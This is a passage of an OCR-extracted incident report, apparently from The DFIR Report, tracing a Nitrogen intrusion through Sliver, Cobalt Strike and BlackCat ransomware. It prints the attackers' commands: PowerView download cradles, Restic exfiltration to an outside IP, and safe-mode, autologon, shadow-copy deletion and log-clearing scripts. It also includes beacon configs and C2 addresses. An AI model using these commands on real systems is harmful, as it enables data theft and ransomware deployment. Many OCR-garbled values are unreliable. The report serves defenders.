SourceImage i 3 M md
TargetProcessGuid: {c6f88a71-18b6-64

TargetProce
TargetImage:
NewThreadId:

StartAddres A7FFD646114F0
StartModule 5

S

Sourcelser: Domain Account
TargetU

Clearing logs

Execution of the ransomware payload included clearing of various event logs while the hosts were in safe mode.

Page 15 of 37


https://thedfirreport.com/wp-content/uploads/2024/09/25590_030.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_030.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_031.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_031.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_032.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_032.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_033.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_033.png

https://thedfirreport.com /2024 /09 /30 /nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/

Event 4688, Microsoft Windows security auditing.

General Details

|A new process has been created.

Creator Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Target Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Process Information:
New Process ID:
New Process Name:
Token Elevation Type:
Mandatory Label:
Creator Process ID:
Creator Process Name:

SYSTEM

Ox3E7

NULL SID

0x0

Ox3ed

C:\Windows\SysWOW64\cmd.exe
%%1936

Mandatory Label\System Mandatory Level
0x738

C:\Windows\Temp

Process Command Line:  "cmd"” /¢ "wevtutil.exe cl \"Microsoft-Windows-VPN-Client/Operational\""

Token Flevation Tune indicates the tvne of token that wac acsianed to the new nracecc in accardance with Lcer Account Control nolicv.

Safeboot

Before executing the final ransomware the threat actor set all hosts to restart in safe mode with networking. This can be used
to prevent antivirus or other preventative tools from stopping the ransom execution as many won’t start when a host is

booted in safe mode. It has been used by several ransomware families.

t process.name ! process.command._line ¢ process.parentname ¢ process.parent.command_line

default cmd. exe

Credential Access

Two hours after initial access, the threat actor utilized Cobalt Strike’s credential dumping functionalities to access the
LSASS process on the beachhead host. This provided them access to a shared local administrator account. Around two hours
after that they landed on a server during lateral movement activity, the threat actor was seen accessing LSASS. After this we

observed the use of a domain administrator account indicating this second access likely delivered those credentials.

C:\Windows\system32\gpupdate.exe,
C:\Windows\system32\lsass.exe,
Ox1EEf£fff,
{c6£00a71-d8f5-641c-0c00-000000000400F,

NT AUTHORITY\SYSTEM,
740,
NT AUTHORITY\SYSTEM,
C:\Windows\SYSTEM32\ntdll.d11+9d1e4|C: \Windows\System32\KERNELBASE.d11+2bche | UNKNOWN (000001B918D70D3D)

Discovery
Sliver

A few minutes after its execution, Sliver launched the following commands to enumerate:

¢ Local and domain admins.
e Domain computers.
e Active Directory trusts.

¢ Network adapters.
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net group "domain admins" /domain
ipconfig /all

nltest /domain_trusts

net localgroup administrators

net group "Domain Computers" /domain

Cobalt Strike

As with Sliver, Cobalt Strike was utilized to perform hands-on keyboard discovery activities.

cmd.exe /C net group "Domain controllers" /DOMAIN
cmd.exe /C net group "domain admins" /DOMAIN
cmd.exe /C net localgroup Administrators

cmd.exe /C net group /Domain

cmd.exe /C net group "Domain Computers" /DOMAIN

PowerView

On the beachhead host, the threat actor loaded in memory PowerView to perform further discovery activities. This specific

action was identified through PowerShell Script Block Logging.

riptblock text (1
na2

nse: BSD 3-Claus
ired Dependencies:
ional Deper

e DA B I S e e S s S L

code for W API access
: @mattifestatior

nums, st
iate to an
o the 'enum',

ne for the in-m

$Module = New-InMemoryModule
#>

PowerView was used to:

o Gather the local admins.

IEX (New-Object Net.Webclient).DownloadString('http://localhost:33121/"); Invoke-FindLocalAdminAccess -Thread
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o Extract the servers in the environment.

IEX (New-Object Net.Webclient).DownloadString('http://localhost:54350/"); Get-DomainComputer -OperatingSystem

BloodHound

The $MFT showed also that in the first phases of the intrusion, the threat actor performed a BloodHound collection to likely

identify paths to escalate privileges to domain admin.

= %LOCALAPPDATA% \Users} \AppData\Local\Notepad
| __BIUDdHound.2|p.u'.-ragz\2 AUsers) \AppData\Local\Notepad
L YzZmMDBhNzEtZDZhNSO0MGVhLWIjOGQtMzcSZjEWZGUZZT g4.bin.wragzi2 | .\Users) \AppData\Local\Notepad
7] srv.bt.wragzl2 \Users) \AppData\Local\Notepad

Lateral Movement
Remote Desktop Protocol

On the first day of the intrusion, four hours after the Nitrogen execution, the threat actor started interacting with other

systems such as a file server through a Cobalt Strike beacon which was injected into winlogon.exe.

destination.ip v destination.port v event.module - process.executable
. N

3,389 sysmon C:\Windows\System32\winlogon.exe
3,389 sysmon C ndows\System32\winlogon.exe

3,389 sysmon C:\Windows\System32\w.

Windows Management Instrumentation (WMI)

Four hours after initial access, the threat actor moved laterally to a server using Impacket’s wmiexec and downloaded a ZIP

file containing Python and a Cobalt Strike beacon (wo12.py and wol4.py ).

_ws.col protocol BEMSERVICES' &8 p.src==10 asip.

Time protocol Source Destination SourcePort DestinationPort _ Info
o] 49667

Exectiethod request[Long frame (1912 bytes)]
Exechethod request[Long frame (1968 bytes)]
Exechethod request[Long frame (1916 bytes):

282076 2023-11-
289172 2023-11- X i | Execllethod request[Long frame (1924 bytes)]
290557 2023-11- i TuBENSERVICES 10.) | Exectiethod 1956 b

Pass the Hash

During the intrusion we observed three instances of possible pass-the-hash activity in the logs. These involved instances

where the threat actor appear to be moving from the SYSTEM context to a domain administrator account.
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An account was cessfully lo

Subject:

urity ID:
ount Mame:
Account Domain:

Logon I

Logon Information:

Elevated Token: Yes
Impersonation Level: Impersonation

Mew Lo
curity ID: 5-1-5-18
ount Mame: SYSTEM
Account D in: NT AUTHORITY
Logon I 8x194C
nked Logon ID:
Net nt Name:
Net nt Domain:
Logon GUID:

Information:
Pr 1D:
Pro Name :

Network Informati

Detailed Authentication Information:
Logon Proc 3 seclogo
Authenticati ackage: Negotiate
Transited Se
Package Name (NTLM only):

Key Length:

SMB Admin Shares

While some of the threat actor’s payloads were downloaded from a remote resource they also at times transferred their

tooling laterally using SMB, and then executed using WMIC or wmiexec.
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A network share object was checked to see whether client can be granted desired :

255.

Subject:
urity ID: 5-1 -
: Administrator

Logon ID: Bx64B1A39

Network Information:

Source Address:
e Port:

Share Information:

Sha th:
Relative Target Name: iy s\py\wold.py

WriteData (or AddFile)

Command and Control

Over the course of the intrusion the threat actor relied on Sliver and Cobalt Strike. Sliver was used most heavily during the

first day of the intrusion with Cobalt Strike then being used over the full length of the intrusion.

Cobalt Strike

1P Port  Ja3 Ja3s ASN Org ASN
91.92.250.65 443 = 72a589da586844d7f0818ce684948eea  f176ba63b4d68e576b5ba345bec2c7b7  LIMENET 394,711

91.92.250.60 443  72a589da586844d7f0818ce684948eea  f176ba63b4d68e576bSba345bec2c7b7  LIMENET 394,711

wol4.py Cobalt Strike configuration.

BeaconType - HTTPS
Port - 443
SleepTime - 38500
MaxGetSize - 13982519
Jitter - 27
MaxDNS - Not Found
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PublicKey_MD5

(2Server

UserAgent

HttpPostUri
Malleable_C2_Instructions

HttpGet_Metadata

HttpPost_Metadata

PipeName

DNS_Idle

DNS_Sleep

SSH_Host

SSH_Port

SSH_Username
SSH_Password_Plaintext
SSH_Password_Pubkey
SSH_Banner
HttpGet_Verb
HttpPost_Verb
HttpPostChunk
Spawnto_x86
Spawnto_x64
CryptoScheme
Proxy_Config
Proxy_User
Proxy_Password
Proxy_Behavior
Watermark_Hash
Watermark
bStageCleanup
bCFGCaution

KillDate
bProcInject_StartRWX
bProcInject_UseRWX
bProcInject_MinAllocSize
ProcInject_PrependAppend_x86

ProcInject_PrependAppend_x64

1329384dfdcfde2228da94e2a04212b4
91.92.250.65, /broadcast

Mozilla/5.0 (Macintosh; Intel Mac 0S X 14_0) AppleWebKit/537.36 (KHTML, 1lil

/1/events/com.amazon.csm.csa.prod
Remove 1308 bytes from the end
Remove 1 bytes from the end

Remove 194 bytes from the beginning
Baseb4 decode

ConstHeaders

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5
Origin: https://www.amazon.com
Referer: https://www.amazon.com
Sec-Fetch-Dest:
Sec-Fetch-Mode:
Sec-Fetch-Site:
Te: trailers
Metadata
baseb4
header "x-amzn-RequestId"

empty
cors
cross-site

ConstHeaders

Accept: */*

Origin: https://www.amazon.com
SessionId

baseb4url

header "x-amz-rid"
Output

baseb4url

prepend "{"events":[{"data":{"schemald":"csa.VideoInteractions.1","ap|

append

append ""playerMode":"INLINE", "videoRequestId": "MBFV82TTQV2INBKJJI50B"

print
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found

GET

POST

0
%windir%\syswow64\gpupdate.exe
%windir%\sysnative\gpupdate.exe
0

Not Found

Not Found

Not Found

Use IE settings
3Hh1YX4vT3i5C7L2sn7K4Q==
587247372

True

True

0

True

False

16700

b'\x90\x90\x90"

Empty
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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ProcInject_Execute

ProcInject_AllocationMethod
bUsesCookies

HostHeader

headersToRemove
DNS_Beaconing

DNS_get_TypeA
DNS_get_TypeAAAA
DNS_get_TypeTXT
DNS_put_metadata
DNS_put_output

DNS_resolver

DNS_strategy
DNS_strategy_rotate_seconds
DNS_strategy_fail_x
DNS_strategy_fail_seconds
Retry_Max_Attempts
Retry_Increase_Attempts
Retry_Duration

wo12.py Cobalt Strike configuration.

BeaconType
Port
SleepTime
MaxGetSize
Jitter

MaxDNS
PublicKey_MD5
C2Server
UserAgent
HttpPostUri
Malleable_(C2_Instructions

HttpGet_Metadata

HttpPost_Metadata

Empty
ntdll.dl1:Rt1lUserThreadStart
SetThreadContext
NtQueueApcThread-s
kernel32.d1l1:LoadLibraryA
CreateRemoteThread
Rt1CreateUserThread
NtMapViewOfSection

False

Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
round-robin

HTTPS
443
38500
13982519
27
Not Found
£27a9b7c29960aaf911f2885b40536¢2
91.92.250.60, /broadcast
Mozilla/5.0 (Macintosh; Intel Mac 0S X 14_0) AppleWebKit/537.36 (KHTML, 1lil
/1/events/com.amazon.csm.csa.prod
Remove 1308 bytes from the end
Remove 1 bytes from the end
Remove 194 bytes from the beginning
Baseb4 decode
ConstHeaders
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Origin: https://www.amazon.com
Referer: https://www.amazon.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site:
Te: trailers
Metadata
baseb4
header "x-amzn-RequestId"

cross-site

ConstHeaders
Accept: */*
Origin: https://www.amazon.com
SessionId
baseb4url
header "x-amz-rid"
Output
baseb4url
prepend "{"events":[{"data":{"schemald":"csa.VideoInteractions.1","ap|
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PipeName

DNS_Idle

DNS_Sleep

SSH_Host

SSH_Port

SSH_Username
SSH_Password_Plaintext
SSH_Password_Pubkey
SSH_Banner
HttpGet_Verb
HttpPost_Verb
HttpPostChunk
Spawnto_x86
Spawnto_x64
CryptoScheme
Proxy_Config
Proxy_User
Proxy_Password
Proxy_Behavior
Watermark_Hash
Watermark
bStageCleanup
bCFGCaution

KillDate
bProcInject_StartRWX
bProcInject_UseRWX
bProcInject_MinAllocSize
ProcInject_PrependAppend_x86

ProcInject_PrependAppend_x64

ProcInject_Execute

ProcInject_AllocationMethod
bUsesCookies

HostHeader

headersToRemove
DNS_Beaconing

DNS_get_TypeA
DNS_get_TypeAAAA
DNS_get_TypeTXT
DNS_put_metadata
DNS_put_output

DNS_resolver

DNS_strategy
DNS_strategy_rotate_seconds
DNS_strategy_fail_x
DNS_strategy_fail_seconds
Retry_Max_Attempts
Retry_Increase_Attempts
Retry_Duration

The two Cobalt Strike C2 showed the classic HTTP response related to the post-exploitation framework:

append "*

append ""playerMode":"INLINE","videoRequestId":"MBFV82TTQV2INBK]J50B"

print
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found

GET

POST

0
%windir%\syswowb4\gpupdate.exe
%windir%\sysnative\gpupdate.exe
0

Not Found

Not Found

Not Found

Use IE settings
3Hh1YX4vT315C7L2sn7K4Q==
5872473172

True

True

0

True

False

16700

b'\x90\x90\x90"

Empty
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90"
Empty
ntdll.d1l:RtUserThreadStart
SetThreadContext
NtQueueApcThread-s
kernel32.d11:LoadLibraryA
CreateRemoteThread
Rt1CreateUserThread
NtMapViewOfSection

False

Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
Not Found
round-robin
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HTTP/1.1 404 Not Found
Content-Type: text/plain

Date: Day, DD Mmm YYYY HH:MM:SS GMT
Content-Length: 0

¥ hitps://91.92.250.60

HTTP/1.1 404 Not Found

Date: Mon, 13 Nov 2023 17:01:07 GMT
Content-Type: text/plain
Content-Length: 0

¥ https://91.92.250.65

HTTP/.1 404 Not Found

Date: Sat, 11 Nov 2023 20:16:12 GMT
Content-Type: text/plain
Content-Length: 0

By diving deeper into the two command and control servers, it was noticed that both of them exposed the HTTP service on

port 81 with the following HTTP response.

Therefore, the following FOFA query was built to identify further potential C2 servers matching this pattern.

"HTTP/1.1 307 Temporary Redirect" &4 "Content-Type: text/html; charset=utf-8" &% "Location: https://www.cloud

Some of the first results provided by FOFA via the above-mentioned query were reported by Rapid7 in one of their latest

blog posts.
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™= Buigaria /
= Bulgaria /.
™= Buigaria /
™ Bulgaria /.
= Bulgaria /.
™= Buigaria /
= Bulgaria /.
91.92.245.174:81 ™= Buigaria /.
91.92.245.175:81

== Bulgaria .

919

= Bulgaria /.

Based on FOFA results, all the identified command and control servers were in Bulgaria and the Netherlands.

1P Country
91.92.240.175 BG
91.92.240.194 BG
91.92.241.117 BG
91.92.242.182 BG
91.92.242.39 BG
91.92.242.55 BG
91.92.245.174 BG
91.92.245.175 BG
91.92.247.123 BG
91.92.247.127 BG
91.92.249.110 BG
91.92.250.148 BG
91.92.250.158 BG
91.92.250.60 BG
91.92.250.65 BG
91.92.250.66 BG
91.92.251.240 BG
94.156.67.175 BG
94.156.67.180 BG
94.156.67.185 BG
94.156.67.188 BG
141.98.6.195 NL
193.42.33.14 NL
194.180.48.165 NL
194.180.48.42 NL
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194.49.94.21 NL

194.49.94.22 NL

Furthermore, we noticed that four IP addresses (91.92.250.158, 91.92.251.240, 94.156.67.175, 94.156.67.180) had an

untrusted certificate on port 441 with protocol HTTPS associated with Alibaba, when they were active Cobalt Strike servers.

92.250.158:441 - S 3 = Bulgaria 2024-02-07
92.251.240:441 - - > == Bulgaria 2024-02-07
156.67.175:441 - = = == Bulgaria 2024-02-07

156.67.180:441 ) 8 - - - == Bulgaria 2024-02-07

HTTP/1.1 307 Temporary Red
Content-Type: text/htrnl; cha
cloudfiare

Certificate (53 - 3fd21b

Organization: Alibaba (China) Technology Co., Lid.
CommonName: *.aliyun.com

ValidType: Untrust

Org: ion: Alibaba (China) Technology Co., Lid.
CommonName: *.aliyun.com

Version: v3
Serial 657766544761773100
Signature Algorithm: SHA256-RSA

Issuer

Country: CN

Locality: HangZhou

Organization: Alibaba (China) Technology Co., Lid.

The certificate serial number (1657766544761773100) was used to identify other possibly used by the same threat actors,
and further servers were detected which showed a behavior similar to what was previously described. For example, the IP

address 185.73.124.238 shares the same certificate and is, at the time of report writing, an active Cobalt Strike C2 server.

22 ¥ hitps//185.73.124.238 85 8 - > = Netherla 2024-09-13

HTTP/.1 307 Temporary Redirect
Content-Type: text/html; charset=utf-8
Location: https:/labsstatu phe

Date: Thu, 12 Sep 2024 18:10:32 GMT
Content-L¢

Certificate 3

Organization: Alibaba (China) Technology Co., Ltd.
CommonName: *.aliyun.com

ValidType: Untrust

Orgat ion: Alibaba (China) Technology Co., Lid.
CommonName: *.aliyun.com

Version: v3
Serial Number: 1 6
Signature Algorithm: SHA256-RSA

Issuer
Country: CN
Locality: HangZhou

Organization: Alibaba (China) Technology Co., Lid

As described in a Hunt.io blog post, these specific certificate attributes like CommonName and Organization are associated

with the usage of RedGuard which is a C2 redirector.
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RedGuardConfig - ~[cert]

# User Optional name

DNSName *_aliyun.com,manager. channel .aliyun.com, *.acs-internal .aliyuncs.com”,*.connect .aliyun.com,aliyun.com,whois .ww.net.cn, tianchi-global .com

# Cert User nmonName

CommonName = *.aliyun.com

# Cert User Locality

Locality = HangZhou

# Cert User Organization

Organization = Alibaba (China) Technology Co., Ltd.

# Cert User Country

Country

# Whether to use the certificate you have applied for true/false

HasCert = true

Sliver

ASN
1P Port Ja3 Ja3s ASN
Org

Matrix
194.49.94.18 8443 = 19e29534fd49dd27d09234e639c4057e  f4febc55eal2b31ael7cfb7e614afda8  Telecom 216,419
Ltd

Matrix
194.169.175.134 8443  d6828e30ab66774a91a96ae93bedaedc f4febc55eal2b31ael7cfb7e614afda8  Telecom 216,419
Ltd

Both the Sliver servers 194.49.94[.]18 and 194.169.175[.]134 had invalid certificates on port 8443.

¥ 1044904 188443

L )

14 ¥ 194,169 1751348443

= Certificate

Exfiltration

The threat actor used Restic, to exfiltrate directories directly from a file server. Below are the commands used by the threat

actor to initiate the backup repository and exfiltrate the data:
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restic.exe -r rest:http://195.123.226.84:8000/ init --password-file ppp.txt
restic.exe -r rest:http://195.123.226.84:8000/ --password-file ppp.txt --use-fs-snapshot --verbose backup "F:'

The threat actor exfiltrated the data over HTTP to server hosted on 195.123.226[.]184 . The different parameters used by the

threat actor are:

e “-rrest”: The -r option is used to specify the location of the repository where the backup data will be stored, this can
be anything from an S3 bucket to a SFTP server. In this case, the Threat Actor used a REST server.

o “—password-file”: This option grabs the backup password from a file, in this case ppp.txt

o “—use-fs-snapshot”: This option will use the Windows’ Volume Shadow Copy Service (VSS) for creating backups.
Restic, according the the documentation, will transparently create a VSS snapshot for each volume that contains files
to backup. Files are read from the VSS snapshot instead of the regular filesystem. This allows to backup files that are
exclusively locked by another process during the backup.

o “—verbose”: This option is used to print a live status of the backup or the processed files.

The traffic related to this activity triggered the following Suricata alert: ET USER_AGENTS Go HTTP Client User-Agent .
Investigating the Suricata EVE flow logs would reveal the usage of Restic thanks to the Content-Type HTTP header:

http: {

protocol: "HTTP/1.1",

http_content_type: "application/vnd.x.restic.rest.v2"
}

Impact

The threat actor dropped and executed two batch scripts, up.bat and 1.bat, remotely using PsExec on targeted servers to

perform various operations.

The up.bat script was executed remotely on a domain controller using the following command:
cmd.exe /C PsExecb4.exe -accepteula \\<DOMAIN-CONTROLLER-IP> -c -f -d -s up.bat
The script contained a one liner to reset the password to a privileged service account:
net user REDACTED JapanNight!128 /domain

The threat actor executed the following command to remotely copy the ransomware binary to the target machines before

running the second batch script:

cmd.exe /C for /f %a in (pc.txt) do copy /y \\<REDACTED>\c$\<REDACTED>.exe \\%a\c$\<REDACTED>.exe
The second script, 1.bat, was then executed on multiple hosts using the following command:

cmd.exe /C PsExecb4.exe -accepteula @pc.txt -c -f -d -h 1.bat
The script contained the following commands:

bcdedit /set {default} safeboot network

findstr /C:"The operation completed successfully."

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c C:\<REDACTED-C(
findstr /C:"The operation completed successfully."

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d <REDACT
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d JapanNi(
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
timeout /T 10

shutdown -r -t @
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The above commands were meant to preform the following operations:

o The first command uses bededit utility to modify and set the default boot configuration of the system to the “safe

mode with networking”.

o The second command is using findstr to check if the previous command executed successfully.

¢ The following reg commands are used to modify the registry and enable automatic logon using the service account,
and add the ransomware binary <KREDACTED-COMPANY-NAME>.exe to
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce to be executed on system’s start up.

¢ The last commands are used to initiate an immediate system restart after a 10 second delay.

The ransomware binary <REDACTED-COMPANY-NAME>.exe executed multiple files and utilities, below are the child

and grand child processes showing the behavior of this ransomware binary:

C:\<REDACTED-COMPANY-NAME>.exe

----> (:\example.exe C:\example.exe --access-token REDACTED --safeboot-network

———————— > C:\Windows\SysWOW64\cmd.exe
-------- > C:\Windows\System32\cmd.exe
———————— > C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
———————— > C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\System32\cmd.exe

:\Windows\SysWOW64\cmd.
:\Windows\SysWOW64\cmd.
:\Windows\SysWOW64\cmd.
:\Windows\System32\cmd.
:\Windows\SysWOW64\cmd.
:\Windows\System32\cmd.
*\Windows\SysWOW64\cmd.
:\Windows\SysWOW64\cmd.

"cmd"”
"cmd"
"cmd"”
"cmd"”
"cmd"
"cmd"
"cmd"
"cmd"”
"cmd"”
"cmd"

cmd
" emd”

/c
/c
/c

exe "cmd"

exe "cmd"

exe "cmd"

exe "cmd"

exe "cmd"

exe "cmd"

exe "cmd"

exe "cmd"

"reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\S
"bcdedit /set {current} safeboot network"

"C:\example.exe --safeboot-instance --access-token REDACTED --
"C:\Windows\TEMP\2-REDACTED-51.exe --safeboot-instance --acces
"C:\example.exe --safeboot-instance --access-token REDACTED --
"C:\Windows\TEMP\2-REDACTED-51.exe --safeboot-instance --acces
"C:\example.exe --safeboot-instance --access-token REDACTED --
"C:\Windows\TEMP\2-REDACTED-51.exe --safeboot-instance --acces
"reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro
"reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\S
"sc delete 15991160457623399845550968347370640942"

"bcdedit /deletevalue {current} safeboot”

/c "wmic csproduct get UUID"

/c "iisreset.exe /stop"

/c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servi
/c "vssadmin.exe Delete Shadows /all /quiet"

/c "arp -a"

/c "wmic.exe Shadowcopy Delete"

/c "wevtutil.exe el"

/c "wevtutil.exe cl <MULTIPLE EVENT LOGS> (Executed hundreds ¢

The threat actor executed the binary example.exe which configured the ransomware, cleared logs and deleted volume

shadow copies.
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GE
[OPTIONS] [SUBCOMMAND]

OPTI

Access Token

Invoked with drag and drop

Drop drag and drop target batch file

Log more to console (Also forces process to run in attached mode)

Print help information

Enable logging to specified file

Do spawn impersonated processes on Windows

discover network shares on Windows

self propagate(worm) on Windows

propagate to defined servers

stop VMs on ESXi

stop defined VMs on ESXi

wipe VMs snapshots on ESXi

update desktop wallpaper on Windows

Only process files inside defined paths

Propagate specified file

Reboot in Safe Mode before running on Windows

Run as safeboot instance on Windows

Reboot in Safe Mode with Networking before running on Windows

Sleep for duration in seconds after successful run and then restart. (This is soft
persistence, keeps process alive no longer then defined in ——sleep-restart-duration, 2u
hours by default)

Keep soft persistence alive for duration in seconds. (2U hours by default)

Keep soft persistence alive until defined UTC time in millis. (Defaults to 24 hours
since launch)

Show user interface

Log to console

The ransomware options were dissected in Netscope’s BlackCat Ransomware: Tactics and Techniques From a Targeted
Attack blog post.

Upon the execution of these utilities, the binary started encrypting files and dropping the ransom note:

Page 30 of 37


https://thedfirreport.com/wp-content/uploads/2024/09/25590_055.png
https://thedfirreport.com/wp-content/uploads/2024/09/25590_055.png
https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack
https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack

https://thedfirreport.com /2024 /09 /30 /nitrogen-cam paign-drops-sliver-and-ends-with-blackcat-ransomware/
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